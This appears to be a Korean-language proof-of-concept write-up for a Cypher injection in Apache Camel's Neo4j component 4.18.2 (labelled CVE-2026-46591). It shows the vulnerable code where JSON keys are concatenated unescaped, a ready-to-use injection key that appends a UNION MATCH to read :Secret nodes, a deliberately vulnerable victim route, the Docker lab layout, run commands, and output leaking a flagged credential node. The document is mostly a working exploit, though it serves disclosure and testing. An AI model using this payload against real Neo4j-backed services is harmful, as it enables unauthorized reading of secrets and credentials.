// Neo4jProducer.retrieveNodes (영향 받는 버전 4.18.2) — VALUE는 파라미터, NAME은 그대로 연결됨:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (JSON 키) 이스케이프되지 않음
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // 값은 안전하게 바인딩됨
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // 신뢰할 수 없는 JSON 본문이 match 맵이 됨
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + 애플리케이션
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # 호스트 / bolt / 자격 증명 / 비밀 플래그
    │   ├── Neo4jConfig.java       # Neo4j Driver 빈 (#neo4jDriver로 참조)
    │   ├── Neo4jSeeder.java       # Neo4j 대기 후 :Person + :Secret 노드 생성
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # 공격자: 정상 vs JSON 키 내 Cypher
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build           # 첫 시작 시 약 1GB neo4j 이미지 다운로드
# 애플리케이션 로그 "Started Application" 메시지 대기 후:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

=== 1) 정상 조회  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) 인젝션 조회  (JSON 키 내 Cypher) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher 인젝션 증명 — 프로퍼티 NAME이 쿼리를 재작성하여 :Person 조회가 절대 반환해서는 안 되는 :Secret 노드를 읽음: true